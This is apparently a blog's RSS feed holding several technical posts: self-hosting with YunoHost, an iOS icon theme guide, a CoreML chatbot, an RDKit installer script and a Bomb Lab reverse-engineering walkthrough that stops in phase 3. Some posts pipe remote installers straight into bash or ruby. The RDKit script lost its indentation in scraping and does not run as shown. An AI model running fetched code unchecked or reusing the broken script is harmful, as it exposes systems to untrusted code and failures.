
No one is born with the knowledge of knowing how to orchestrate a cluster. You can always learn how to, but sometimes you just don’t have the time or energy. YunoHost tries to ease this issue by providing a clean web-interface. You do not even need to touch the command line for all the basic tasks.

What should you self-host?

Anything and everything! The best part about self-hosting is that you own the data. This data is not going to be sold to the highest bidder.

Just because you like watching YouTube does not mean you cannot self-host a privacy friendly front-end for it on your server. Why stop there, why not create your own Google Drive / Dropbox alternative and host it on your own with actual unlimited storage, where the only limit is how much capacity you want. Do you own tons of audiobooks or DVDs/Blu-rays? Simply host an audiobook server or create your own personal Netflix and share it with your friends and family.

Do you own a small-business? Do you hate the idea of having your sensitive e-mails stored on someone else’s server? Why not setup your own mail server, with contacts and calendar syncing.

Do you run a small hobby group? Why not host a forum for everyone to discuss on? Or, simply a chat server where everyone can hop on and text, or call.

Although you can do all of this (and much more!) without needing to use YunoHost, it just makes it easy to manage.

What do I need to self-host?

  • A decent internet connection if you plan on using the services outside your home network and hosting at home
  • Anything that can run Debian 10/11. Some examples:
    • A used server/PC bought in a Library/University’s liquidation sale
    • An old laptop nobody uses
    • A Raspberry Pi 4
    • A VPS (Checkout Linode, Hetzner, OVH)
  • Some patience

What is YunoHost?

YunoHost is a server operating system which takes guesswork out of Self-Hosting. Out of the box it provides:

  • a web-interface for easy administration
  • few click app deployments
  • multiple user support (with exposed ldap to integrate with your apps)
  • automatic ssl certificate management for your domains
  • integrated backup and restoration for all apps
  • security features (fail2ban, firewall)
  • Free *.noho.st domain(s)!

and much more!

Why did I choose YunoHost?

I began my self-hosting journey with a Raspberry Pi 4 (4GB). I looked at tons of options for the base management layer:

  • Sandstorm - Does not run on arm64
  • Cloudron - 2 app limitation on the free tier
    • Although I don’t have a problem with paying for software licenses, having an app limit on something which you are self-hosting and you don’t want support is kind of confusing
  • Plain Ubuntu Server - I didn’t want to waste time configuring everything

One look at the user portal and I was sold. Yep, more than the features it was the app screen which looked like elements from the periodic table which sold me on the idea of using YunoHost. 

Although there is no “correct“ way to self-host, YunoHost is indeed an easier way.

YunoHost SSO Login Screen YunoHost Portal YunoHost Web Admin

The stock Raspberry Pi image provided by YunoHost meant you don’t run in full arm64 mode. I had to first install Debian and then install YunoHost to get full arm64 goodness.

Setting up the domain was as painless as following the online web admin diagnosis page to copy paste DNS records.

The easiest way to deploy any app is to use Docker. I dislike this approach for a variety of reasons but I am not going to cover them here. All YunoHost apps are packaged to run on bare-metal for the best performance. See an app that does not have pre-compiled binaries? The package installer will download the latest source, install dependencies, compile, and then clean all the unnecessary files. Because you are running Debian after all, you can always SSH into the server and install docker if you want to. You can even install Portainer through YunoHost’s app catalogue if you really want to.

Also, YunoHost has been here for a long time! Here is an old Hacker News post about YunoHost. All the projects mentioned in the comments? Dead.

What do I self-host?

audiobookshelf - an audiobook server

Audiobook server

ergo chat - an IRC server

Screenshot of Textual Client connected to my IRC server

FreshRSS - RSS aggregator

Screenshot of FreshRSS

Gitea - self-hosted git

Screenshot of Gitea dashboard with logs about repository mirroring

Grafana - Metrics dashboard

Grafana Dashboard

Home Assistant - Home automation platform

Screenshot of Home Assistant dashboard

Jellyfin - Media server

Screenshot of Jellyfin showing movies

Listmonk - Newsletter and Mailing List manager

Screenshot of ListMonk

MinIO Server - S3 compatible storage server

Screenshot of MinIO console

Nextcloud - Storage, file-sharing, e.t.c

Screenshot of Nextcloud dashboard

Syncthing - continuous file synchronization

Screenshot of Synching dashboard

Vaultwarden - Bitwarden server

Screenshot of Vaultwarden loading screen

Wallabag - Read it later app

Screenshot of Wallabag

h5ai - HTTP server index

Screenshot of h5ai

How do I install YunoHost?

  1. Install minimal Debian 10/11 on your preferred machine
  2. curl https://install.yunohost.org | bash

Done!

Should you actually self-host everything?

Highly context dependent. I run two YunoHost servers in two different locations. One of the ISP has actually blacklisted the residential IP address range and does not let me change my reverseDNS, which means all my outgoing emails are marked as spam. On the other hand, the other ISP gave a clean static IP and the server managed for a small business is not at all problematic for emailing. YMMV but at least you know you have an option.

]]>
https://web.navan.dev/posts/2021-06-25-NFC-Music-Cards-Basic-iOS.html Basic NFC Music Cards for iOS Basic NFC Music Cards on iOS with Shortcuts https://web.navan.dev/posts/2021-06-25-NFC-Music-Cards-Basic-iOS.html Fri, 25 Jun 2021 16:20:00 -0000 Basic NFC Music Cards for iOS

I had a pack of NFC cards and decided it was the perfect time to create Music Cards. I do not have a "music setup." So, I did not have to ensure this could work with any device. I settled with using Shortcuts personal Automation.

Designing the Template

I tried measuring the card's dimensions with the in-built Measure app, but it was off by a few mm.

Failed Attempt to Measure

After measuring with a scale, I decided on a simple template I made in Apple Pages.

Screenshot of the Basic Template

Screenshot of Design for McCartney III

Creating the Automation

I created a personal automation in the Shortcuts app which got triggered when a particular NFC card was scanned, ask playback destination and play the album/playlist.

Screenshot of Shortcuts App

Screenshot of Automation Summary

Demo

]]>
https://web.navan.dev/posts/2019-05-05-Custom-Snowboard-Anemone-Theme.html Creating your own custom theme for Snowboard or Anemone Tutorial on creating your own custom theme for Snowboard or Anemone https://web.navan.dev/posts/2019-05-05-Custom-Snowboard-Anemone-Theme.html Sun, 05 May 2019 12:34:00 -0000 Creating your own custom theme for Snowboard or Anemone

Contents

  • Getting Started
  • Theme Configuration
  • Creating Icons
  • Exporting Icons
  • Icon Masks
  • Packaging
  • Building the DEB

Getting Started

Note: Without the proper folder structure, your theme may not show up!

  • Create a new folder called themeName.theme (Replace themeName with your desired theme name)
  • Within themeName.theme folder, create another folder called IconBundles (You cannot change this name)

Theme Configuration

  • Now, inside the themeName.theme folder, create a file called Info.plist and paste the following
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  <plist version="1.0">
  <dict>
    <key>PackageName</key>
    <string>ThemeName</string>
    <key>ThemeType</key>
    <string>Icons</string>
  </dict>
</plist>
  • Replace PackageName with the name of the Package and replace ThemeName with the Theme Name

Now, you might ask what is the difference between PackageName and ThemeName?

Well, if for example you want to publish two variants of your icons, one dark and one white but you do not want the user to separately install them. Then, you would name the package MyTheme and include two themes Blackie and White thus creating two entries. More about this in the end

Creating Icons

  • Open up the Image Editor of your choice and create a new file having a resolution of 512x512

Note: Due to IconBundles, we just need to create the icons in one size and they get resized automatically :ghost:

Want to create rounded icons? Create them squared only, we will learn how to apply masks!

Exporting Icons

Note: All icons must be saved as *.png (Tip: This means you can even create partially transparent icons!)

  • All Icons must be saved in themeName.theme>IconBundles as bundleID-large.png
Finding BundleIDs

Stock Application BundleIDs

Name BundleID
App Store com.apple.AppStore
Apple Watch com.apple.Bridge
Calculator com.apple.calculator
Calendar com.apple.mobilecal
Camera com.apple.camera
Classroom com.apple.classroom
Clock com.apple.mobiletimer
Compass com.apple.compass
FaceTime com.apple.facetime
Files com.apple.DocumentsApp
Game Center com.apple.gamecenter
Health com.apple.Health
Home com.apple.Home
iBooks com.apple.iBooks
iTunes Store com.apple.MobileStore
Mail com.apple.mobilemail
Maps com.apple.Maps
Measure com.apple.measure
Messages com.apple.MobileSMS
Music com.apple.Music
News com.apple.news
Notes com.apple.mobilenotes
Phone com.apple.mobilephone
Photo Booth com.apple.Photo-Booth
Photos com.apple.mobileslideshow
Playgrounds come.apple.Playgrounds
Podcasts com.apple.podcasts
Reminders com.apple.reminders
Safari com.apple.mobilesafari
Settings com.apple.Preferences
Stocks com.apple.stocks
Tips com.apple.tips
TV com.apple.tv
Videos com.apple.videos
Voice Memos com.apple.VoiceMemos
Wallet com.apple.Passbook
Weather com.apple.weather

3rd Party Applications BundleID Click here

Icon Masks

  • Getting the Classic Rounded Rectangle Masks

In your Info.plist file add the following value between <dict> and

<key>IB-MaskIcons</key>
    <true/>
  • Custom Icon Masks

NOTE: This is an optional step, if you do not want Icon Masks, skip this step

  • Inside your themeName.theme folder, create another folder called 'Bundles'
    • Inside Bundles create another folder called com.apple.mobileicons.framework

Designing Masks

Masking does not support IconBundles, therefore you need to save the masks for each of the following

File Resolution
AppIconMask@2x~ipad.png 152x512
AppIconMask@2x~iphone.png 120x120
AppIconMask@3x~ipad.png 180x180
AppIconMask@3x~iphone.png 180x180
AppIconMask~ipad.png 76x76
DocumentBadgeMask-20@2x.png 40x40
DocumentBadgeMask-145@2x.png 145x145
GameAppIconMask@2x.png 84x84
NotificationAppIconMask@2x.png 40x40
NotificationAppIconMask@3x.png 60x60
SpotlightAppIconMask@2x.png 80x80
SpotlightAppIconMask@3x.png 120x120
TableIconMask@2x.png 58x58
TableIconOutline@2x.png 58x58
  • While creating the mask, make sure that the background is not a solid colour and is transparent
  • Whichever area you want to make visible, it should be coloured in black

Example (Credits: Pinpal):

Credit: Pinpal

would result in

Credit: Pinpal

Packaging

  • Create a new folder outside themeName.theme with the name you want to be shown on Cydia, e.g themeNameForCydia
  • Create another folder called DEBIAN in themeNameForCydia (It needs to be uppercase)
  • In DEBIAN create an extension-less file called control and edit it using your favourite text editor

Paste the following in it, replacing yourname, themename, Theme Name, A theme with beautiful icons! and Your Name with your details:

Package: com.yourname.themename
Name: Theme Name
Version: 1.0
Architecture: iphoneos-arm
Description: A theme with beautiful icons!
Author: Your Name
Maintainer: Your Name
Section: Themes
  • Important Notes:

    • The package field MUST be lower case!
    • The version field MUST be changed every-time you update your theme!
    • The control file MUST have an extra blank line at the bottom!
  • Now, Create another folder called Library in themeNameForCydia

  • In Library create another folder called Themes
  • Finally, copy themeName.theme to the Themes folder (Copy the entire folder, not just the contents)

Building the DEB

For building the deb you need a *nix system, otherwise you can build it using your iPhones

Pre-Requisite for MacOS users

1) Install Homenbrew /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" (Run this in the terminal) 2) Install dpkg, by running brew install dpkg

There is a terrible thing called .DS_Store which if not removed, will cause a problem during either build or installation

  • To remove this we first need to open the folder in the terminal

  • Launch the Terminal and then drag-and-drop the 'themeNameForCydia' folder on the Terminal icon in the dock

  • Now, run find . -name "*.DS_Store" -type f -delete
Pre-Requisite for Windows Users
  • SSH into your iPhone and drag and drop the themeNameForCyia folder on the terminal
Common Instructions
  • You should be at the root of the folder in the terminal, i.e Inside themeNameForCydia
  • running ls should show the following output
DEBIAN  Library
  • Now, in the terminal enter the following cd .. && dpkg -b themeNameForCydia

Now you will have the themeNameForCydia.deb in the same directory

You can share this with your friends :+1:

]]>
https://web.navan.dev/posts/2020-04-13-Fixing-X11-Error-AmberTools-macOS.html Fixing X11 Error on macOS Catalina for AmberTools 18/19 Fixing Could not find the X11 libraries; you may need to edit config.h, AmberTools macOS Catalina https://web.navan.dev/posts/2020-04-13-Fixing-X11-Error-AmberTools-macOS.html Mon, 13 Apr 2020 11:41:00 -0000 Fixing X11 Error on macOS Catalina for AmberTools 18/19

I was trying to install AmberTools on my macOS Catalina Installation. Running ./configure -macAccelerate clang gave me an error that it could not find X11 libraries, even though locate libXt showed that my installation was correct.

Error:

Could not find the X11 libraries; you may need to edit config.h
   to set the XHOME and XLIBS variables.
Error: The X11 libraries are not in the usual location !
       To search for them try the command: locate libXt
       On new Fedora OS's install the libXt-devel libXext-devel
       libX11-devel libICE-devel libSM-devel packages.
       On old Fedora OS's install the xorg-x11-devel package.
       On RedHat OS's install the XFree86-devel package.
       On Ubuntu OS's install the xorg-dev and xserver-xorg packages.

          ...more info for various linuxes at ambermd.org/ubuntu.html

       To build Amber without XLEaP, re-run configure with '-noX11:
            ./configure -noX11 --with-python /usr/local/bin/python3 -macAccelerate clang
Configure failed due to the errors above!

I searched on Google for a solution. Sadly, there was not even a single thread which had a solution about this error.

The Fix

Simply reinstalling XQuartz using homebrew fixed the error brew cask reinstall xquartz

If you do not have XQuartz installed, you need to run brew cask install xquartz

]]>
https://web.navan.dev/posts/2021-06-27-Crude-ML-AI-Powered-Chatbot-Swift.html Making a Crude ML Powered Chatbot in Swift using CoreML Writing a simple Machine-Learning powered Chatbot (or, daresay virtual personal assistant ) in Swift using CoreML. https://web.navan.dev/posts/2021-06-27-Crude-ML-AI-Powered-Chatbot-Swift.html Sun, 27 Jun 2021 23:26:00 -0000 Making a Crude ML Powered Chatbot in Swift using CoreML

A chatbot/virtual assistant, on paper, looks easy to build. The user says something, the programs finds the best action, checks if additional input is required and sends back the output. To do this in Swift, I used two separate ML Models created using Apple's Create ML App. First is a Text Classifier to classify intent, and the other a word tagger for extracting input from the input message. Disclaimer: This is a very crude proof-of-concept, but it does work.

Text Classifier

I opened a CSV file and added some sample entries, with a corresponding label.

Screenshot of Sample Dataset

text,label
hey there,greetings
hello,greetings
good morning,greetings
good evening,greetings
hi,greetings
open the pod bay doors,banter
who let the dogs out,banter
ahh that's hot,banter
bruh that's rad,banter
nothing,banter
da fuq,banter
can you tell me details about the compound aspirin,deez-drug
i want to know about some compounds,deez-drug
search about the compound,deez-drug
tell me about the molecule,deez-drug
tell me about something,banter
tell me something cool,banter
tell a joke,banter
make me a sandwich,banter
whatcha doing,greetings
i love you,banter

Screenshot of Create ML Text Classifier

Word Tagging

This is useful to extract the required variables directly from the user's input. This model will be only called if the intent from the classifier is a custom action. I created a sample JSON with only 3 examples (I know, very less, but works for a crude PoC).

Screenshot of Sample Dataset

[
    {
        "tokens": ["Tell","me","about","the","drug","Aspirin","."],
        "labels": ["NONE","NONE","NONE","NONE","NONE","COMPOUND","NONE"]
    },
    {
        "tokens": ["Please","tell","me","information","about","the","compound","salicylic","acid","."],
        "labels": ["NONE","NONE","NONE","NONE","NONE","NONE","NONE","COMPOUND","COMPOUND","NONE"]
    },
    {
        "tokens": ["Information","about","the","compound","Ibuprofen","please","."],
        "labels": ["NONE","NONE","NONE","NONE","COMPOUND","NONE","NONE"]
    }
]

Screenshot of Create ML Text Classifier

Time to Get Swift-y

The initial part is easy, importing CoreML and NaturalLanguage and then initializing the models and the tagger.

Screenshot

import CoreML
import NaturalLanguage

let mlModelClassifier = try IntentDetection_1(configuration:  MLModelConfiguration()).model
let mlModelTagger = try CompoundTagger(configuration: MLModelConfiguration()).model

let intentPredictor = try NLModel(mlModel: mlModelClassifier)
let tagPredictor = try NLModel(mlModel: mlModelTagger)

let tagger = NLTagger(tagSchemes: [.nameType, NLTagScheme("Apple")])
tagger.setModels([tagPredictor], forTagScheme: NLTagScheme("Apple"))

Now, we define a simple structure which the custom function(s) can use to access the provided input. It can also be used to hold additional variables. This custom action for our third label, uses the Word Tagger model to check for the compound in the user's message. If it is present then it displays the name, otherwise it tells the user that they have not provided the input. The latter can be replaced with a function which asks the user for the input.

Screenshot

struct User {
    static var message = ""
}

func customAction() -> String {
    let sampleMessage = User.message
    var actionable_item = ""
    tagger.string = sampleMessage
    tagger.enumerateTags(in: sampleMessage.startIndex..<sampleMessage.endIndex, unit: .word,
                             scheme: NLTagScheme("Apple"), options: .omitWhitespace) { tag, tokenRange  in
            if let tag = tag {
                if tag.rawValue == "COMPOUND" {
                    actionable_item += sampleMessage[tokenRange]
                }
            }
        return true
    }
    if actionable_item == "" {
        return "You did not provide any input"
    } else {
        return "You provided input \(actionable_item) for performing custom action"
    }

}

Sometimes, no action needs to be performed, and the bot can use a predefined set of responses. Otherwise, if an action is required, it can call the custom action.

Screenshot

let defaultResponses = [
    "greetings": "Hello",
    "banter": "no, plix no"
]

let customActions = [
    "deez-drug": customAction
]

In the sample input, the program is updating the User.message and checking if it has a default response. Otherwise, it calls the custom action.

Screenshot

let sampleMessages = [
    "Hey there, how is it going",
    "hello, there",
    "Who let the dogs out",
    "can you tell me about the compound Geraniin",
    "what do you know about the compound Ibuprofen",
    "please, tell me more about the compound",
    "please, tell me more about the molecule dihydrogen-monoxide"
]

for sampleMessage in sampleMessages {
    User.message = sampleMessage
    let prediction = intentPredictor.predictedLabel(for: sampleMessage)

    if (defaultResponses[prediction!] != nil) {
        print(defaultResponses[prediction!]!)
    } else if (customActions[prediction!] != nil) {
        print(customActions[prediction!]!())
    }
}

Output

So easy.

If I ever release a part-2, it will either be about implementing this in Tensorflow.JS or an iOS app using SwiftUI ;)

]]>
https://web.navan.dev/posts/2024-02-26-control-element-under-another-element-html-css.html Interacting with underlying element in HTML With CSS you can disable any interactions with an element and directly control the underlying element https://web.navan.dev/posts/2024-02-26-control-element-under-another-element-html-css.html Mon, 26 Feb 2024 11:57:00 -0000 Interacting with underlying element in HTML

I know that the title is a bit weird. I was trying to interact with a video under an iPhone Bezel Screen frame.

<div class="row-span-2 md:col-span-1 rounded-xl border-2 border-slate-400/10 bg-neutral-100 p-4 dark:bg-neutral-900">
    <div class="content flex flex-wrap content-center justify-center">
        <img src="iphone-12-white.png" class="h-[60vh] z-10 absolute">
        <!--<img src="screenshot2.jpeg" class="h-[57vh] mt-4 mr-1 rounded-[2rem]">-->
        <video src="screenrec.mp4" class="h-[57vh] mt-4 mr-1 rounded-[2rem]" controls muted autoplay></video>
    </div>
</div>

Video Under a Transparent Image

Turns out, you can disable pointer events!

In Tailwind, it is as simple as adding pointer-events-none to the bezel screen.

In CSS, this can be done by:

.className {
    pointer-events: none
}

Let us try this in a simple example.

Example

Here, we create a button and overlay a transparent box

<div style="height: 200px; width: 300px; background-color: rgba(255, 0, 0, 0.4); z-index: 2; position: absolute;">
A box with 200px height and 200px width
</div>
<button style="z-index: 1; margin-top: 20px; margin-bottom: 200px;" onclick="alert('You were able to click this button')">Try clicking me</button>

A box with 200px height and 300px width


As you can see, you cannot click the button because the red box comes in the way. We can fix this by adding pointer-events: none to the box.

<div style="height: 200px; width: 300px; background-color: rgba(0, 255, 0, 0.4); z-index: 2; position: absolute; pointer-events: none;">
A box with 200px height and 300px width
</div>
<button style="z-index: 1; margin-top: 20px; margin-bottom: 200px" onclick="alert('You were able to click this button')">Try clicking me</button>
</div>

A box with 200px height and 300px width

]]>
https://web.navan.dev/posts/2019-12-10-TensorFlow-Model-Prediction.html Making Predictions using Image Classifier (TensorFlow) Making predictions for image classification models built using TensorFlow https://web.navan.dev/posts/2019-12-10-TensorFlow-Model-Prediction.html Tue, 10 Dec 2019 11:10:00 -0000 Making Predictions using Image Classifier (TensorFlow)

This was tested on TF 2.x and works as of 2019-12-10

If you want to understand how to make your own custom image classifier, please refer to my previous post.

If you followed my last post, then you created a model which took an image of dimensions 50x50 as an input.

First we import the following if we have not imported these before

import cv2
import os

Then we read the file using OpenCV.

image=cv2.imread(imagePath)

The cv2. imread() function returns a NumPy array representing the image. Therefore, we need to convert it before we can use it.

image_from_array = Image.fromarray(image, 'RGB')

Then we resize the image

size_image = image_from_array.resize((50,50))

After this we create a batch consisting of only one image

p = np.expand_dims(size_image, 0)

We then convert this uint8 datatype to a float32 datatype

img = tf.cast(p, tf.float32)

Finally we make the prediction

print(['Infected','Uninfected'][np.argmax(model.predict(img))])

Infected

]]>
https://web.navan.dev/posts/2020-07-01-Install-rdkit-colab.html Installing RDKit on Google Colab Install RDKit on Google Colab with one code snippet. https://web.navan.dev/posts/2020-07-01-Install-rdkit-colab.html Wed, 01 Jul 2020 14:23:00 -0000 Installing RDKit on Google Colab

EDIT: Try installing RDKit using pip

!pip install rdkit-pypi

Old Method (Still Works)

RDKit is one of the most integral part of any Cheminfomatic specialist's toolkit but it is notoriously difficult to install unless you already have conda installed. I originally found this in a GitHub Gist but I have not been able to find that gist again :/

Just copy and paste this in a Colab cell and it will install it 👍

import sys
import os
import requests
import subprocess
import shutil
from logging import getLogger, StreamHandler, INFO


logger = getLogger(__name__)
logger.addHandler(StreamHandler())
logger.setLevel(INFO)


def install(
        chunk_size=4096,
        file_name="Miniconda3-latest-Linux-x86_64.sh",
        url_base="https://repo.continuum.io/miniconda/",
        conda_path=os.path.expanduser(os.path.join("~", "miniconda")),
        rdkit_version=None,
        add_python_path=True,
        force=False):
    """install rdkit from miniconda
   
import rdkit_installer
rdkit_installer.install()
```
"""

python_path = os.path.join(
    conda_path,
    "lib",
    "python{0}.{1}".format(*sys.version_info),
    "site-packages",
)

if add_python_path and python_path not in sys.path:
    logger.info("add {} to PYTHONPATH".format(python_path))
    sys.path.append(python_path)

if os.path.isdir(os.path.join(python_path, "rdkit")):
    logger.info("rdkit is already installed")
    if not force:
        return

    logger.info("force re-install")

url = url_base + file_name
python_version = "{0}.{1}.{2}".format(*sys.version_info)

logger.info("python version: {}".format(python_version))

if os.path.isdir(conda_path):
    logger.warning("remove current miniconda")
    shutil.rmtree(conda_path)
elif os.path.isfile(conda_path):
    logger.warning("remove {}".format(conda_path))
    os.remove(conda_path)

logger.info('fetching installer from {}'.format(url))
res = requests.get(url, stream=True)
res.raise_for_status()
with open(file_name, 'wb') as f:
    for chunk in res.iter_content(chunk_size):
        f.write(chunk)
logger.info('done')

logger.info('installing miniconda to {}'.format(conda_path))
subprocess.check_call(["bash", file_name, "-b", "-p", conda_path])
logger.info('done')

logger.info("installing rdkit")
subprocess.check_call([
    os.path.join(conda_path, "bin", "conda"),
    "install",
    "--yes",
    "-c", "rdkit",
    "python=={}".format(python_version),
    "rdkit" if rdkit_version is None else "rdkit=={}".format(rdkit_version)])
logger.info("done")

import rdkit
logger.info("rdkit-{} installation finished!".format(rdkit.__version__))

if name == "main": install() ```

]]>
https://web.navan.dev/posts/2023-10-04-bomb-lab.html Bomb Lab Walkthrough of Phases 1-6 of Bomb Lab for CSCI 2400 Computer Systems Lab 2 https://web.navan.dev/posts/2023-10-04-bomb-lab.html Wed, 04 Oct 2023 13:12:00 -0000 Bomb Lab

Introduction

Lab 2 for CSCI 2400 @ CU Boulder - Computer Systems

The nefarious Dr. Evil has planted a slew of “binary bombs” on our class machines. A binary bomb is a program that consists of a sequence of phases. Each phase expects you to type a particular string on stdin. If you type the correct string, then the phase is defused and the bomb proceeds to the next phase. Otherwise, the bomb explodes by printing "BOOM!!!" and then terminating. The bomb is defused when every phase has been defused.

There are too many bombs for us to deal with, so we are giving each student a bomb to defuse. Your mission, which you have no choice but to accept, is to defuse your bomb before the due date. Good luck, and welcome to the bomb squad! Bomb Lab Handout

I like using objdump to disassemble the code and get a broad overview of what is happening before I start.

objdump -d bomb > dis.txt

Note: I am not sure about the history of the bomb lab. I think it started at CMU.

Phase 1

joxxxn@jupyter-nxxh6xx8:~/lab2-bomblab-navanchauhan/bombbomb$ gdb -ex 'break phase_1' -ex 'break explode_bomb' -ex 'run' ./bomb 
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./bomb...
Breakpoint 1 at 0x15c7
Breakpoint 2 at 0x1d4a
Starting program: /home/joxxxn/lab2-bomblab-navanchauhan/bombbomb/bomb 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
test string

Breakpoint 1, 0x00005555555555c7 in phase_1 ()
(gdb) dias phase_1
Undefined command: "dias".  Try "help".
(gdb) disas phase_1
Dump of assembler code for function phase_1:
=> 0x00005555555555c7 <+0>:     endbr64 
   0x00005555555555cb <+4>:     sub    $0x8,%rsp
   0x00005555555555cf <+8>:     lea    0x1b7a(%rip),%rsi        # 0x555555557150
   0x00005555555555d6 <+15>:    call   0x555555555b31 <strings_not_equal>
   0x00005555555555db <+20>:    test   %eax,%eax
   0x00005555555555dd <+22>:    jne    0x5555555555e4 <phase_1+29>
   0x00005555555555df <+24>:    add    $0x8,%rsp
   0x00005555555555e3 <+28>:    ret    
   0x00005555555555e4 <+29>:    call   0x555555555d4a <explode_bomb>
   0x00005555555555e9 <+34>:    jmp    0x5555555555df <phase_1+24>
End of assembler dump.
(gdb) print 0x555555557150
$1 = 93824992244048
(gdb) x/1s 0x555555557150
0x555555557150: "Controlling complexity is the essence of computer programming."
(gdb) 

Phase 2

Phase 1 defused. How about the next one?
1 2 3 4 5 6

Breakpoint 1, 0x00005555555555eb in phase_2 ()
(gdb) disas
Dump of assembler code for function phase_2:
=> 0x00005555555555eb <+0>:     endbr64 
   0x00005555555555ef <+4>:     push   %rbp
   0x00005555555555f0 <+5>:     push   %rbx
   0x00005555555555f1 <+6>:     sub    $0x28,%rsp
   0x00005555555555f5 <+10>:    mov    %rsp,%rsi
   0x00005555555555f8 <+13>:    call   0x555555555d97 <read_six_numbers>
   0x00005555555555fd <+18>:    cmpl   $0x0,(%rsp)
   0x0000555555555601 <+22>:    js     0x55555555560d <phase_2+34>
   0x0000555555555603 <+24>:    mov    %rsp,%rbp
   0x0000555555555606 <+27>:    mov    $0x1,%ebx
   0x000055555555560b <+32>:    jmp    0x555555555620 <phase_2+53>
   0x000055555555560d <+34>:    call   0x555555555d4a <explode_bomb>
   0x0000555555555612 <+39>:    jmp    0x555555555603 <phase_2+24>
   0x0000555555555614 <+41>:    add    $0x1,%ebx
   0x0000555555555617 <+44>:    add    $0x4,%rbp
   0x000055555555561b <+48>:    cmp    $0x6,%ebx
   0x000055555555561e <+51>:    je     0x555555555631 <phase_2+70>
   0x0000555555555620 <+53>:    mov    %ebx,%eax
   0x0000555555555622 <+55>:    add    0x0(%rbp),%eax
   0x0000555555555625 <+58>:    cmp    %eax,0x4(%rbp)
   0x0000555555555628 <+61>:    je     0x555555555614 <phase_2+41>
   0x000055555555562a <+63>:    call   0x555555555d4a <explode_bomb>
   0x000055555555562f <+68>:    jmp    0x555555555614 <phase_2+41>
   0x0000555555555631 <+70>:    add    $0x28,%rsp
   0x0000555555555635 <+74>:    pop    %rbx
   0x0000555555555636 <+75>:    pop    %rbp
   0x0000555555555637 <+76>:    ret    
End of assembler dump.
(gdb) 
   0x00005555555555fd <+18>:    cmpl   $0x0,(%rsp)
   0x0000555555555601 <+22>:    js     0x55555555560d <phase_2+34>
...
   0x000055555555560d <+34>:    call   0x555555555d4a <explode_bomb>

The program first compares if the first number is not 0. If the number is not 0, then the cmpl instruction returns a negative value. The js instruction stands for jump if sign -> causing a jump to the specified address if the sign bit is set. This would result in the explode_bomb function being called.

   0x0000555555555603 <+24>:    mov    %rsp,%rbp
   0x0000555555555606 <+27>:    mov    $0x1,%ebx

%rsp in x86-64 asm, is the stack pointer i.e. it points to the top of the current stack frame. Since the program just read six numbers, the top of the stack (%rsp) contains the address of the first number.

By executing mov %rsp,%rbp we are setting the base pointer (%rbp) to point to this address.

Now, for the second instruction mov $0x1,%ebx, we are initialising the %ebx register with the value 1. Based on the assembly code, you can see that this is being used as a counter/index for the loop.

   0x000055555555560b <+32>:    jmp    0x555555555620 <phase_2+53>

The program now jumps to

   0x0000555555555620 <+53>:    mov    %ebx,%eax
   0x0000555555555622 <+55>:    add    0x0(%rbp),%eax
   0x0000555555555625 <+58>:    cmp    %eax,0x4(%rbp)
   0x0000555555555628 <+61>:    je     0x555555555614 <phase_2+41>

Here, the value from %ebx is copied to the %eax register. For this iteration, the value should be 1.

Then, the value at the memory location pointed by %rbp is added to the value in %eax. For now, 0 is added (the first number that we read).

cmp %eax,0x4(%rbp) - The instruction compares the value in %eax to the value at the memory address %rbp + 4. Since Integers in this context are stored using a word of memory of 4 bytes, this indicates it checks against the second number in the sequence.

je 0x555555555614 <phase_2+41> - The program will jump to phase_2+41 if the previous cmp instruction determined the values as equal.

   0x0000555555555614 <+41>:    add    $0x1,%ebx
   0x0000555555555617 <+44>:    add    $0x4,%rbp
   0x000055555555561b <+48>:    cmp    $0x6,%ebx
   0x000055555555561e <+51>:    je     0x555555555631 <phase_2+70>
   0x0000555555555620 <+53>:    mov    %ebx,%eax
   0x0000555555555622 <+55>:    add    0x0(%rbp),%eax
   0x0000555555555625 <+58>:    cmp    %eax,0x4(%rbp)
   0x0000555555555628 <+61>:    je     0x555555555614 <phase_2+41>

Here, we can see that the program increments %ebx by 1, adds a 4 byte offset to %rbp (the number we will be matching now), and checks if %ebx is equal to 6. If it is, it breaks the loop and jumps to <phase_2+70> successfully finishing this stage.

Now, given that we know the first two numbers in the sequence are 0 1, we can calculate the other numbers by following the pattern of adding the counter and the value of the previous number.

Thus,

  • 3rd number = 1 (previous value) + 2 = 3
  • 4th number = 3 (prev value) + 3 = 6
  • 5th number = 6 (prev value) + 4 = 10
  • 6th number = 10 (prev value) + 5 = 15
...
Phase 1 defused. How about the next one?
0 1 3 6 10 15

Breakpoint 1, 0x00005555555555eb in phase_2 ()
(gdb) continue
Continuing.
That's number 2.  Keep going!

Phase 3

Let us look at the disassembled code first

0000000000001638 <phase_3>:
    1638:   f3 0f 1e fa             endbr64 
    163c:   48 83 ec 18             sub    $0x18,%rsp
    1640:   48 8d 4c 24 07          lea    0x7(%rsp),%rcx
    1645:   48 8d 54 24 0c          lea    0xc(%rsp),%rdx
    164a:   4c 8d 44 24 08          lea    0x8(%rsp),%r8
    164f:   48 8d 35 60 1b 00 00    lea    0x1b60(%rip),%rsi        # 31b6 <_IO_stdin_used+0x1b6>
    1656:   b8 00 00 00 00          mov    $0x0,%eax
    165b:   e8 80 fc ff ff          call   12e0 <__isoc99_sscanf@plt>
    1660:   83 f8 02                cmp    $0x2,%eax
    1663:   7e 20                   jle    1685 <phase_3+0x4d>
    1665:   83 7c 24 0c 07          cmpl   $0x7,0xc(%rsp)
    166a:   0f 87 0d 01 00 00       ja     177d <phase_3+0x145>
    1670:   8b 44 24 0c             mov    0xc(%rsp),%eax
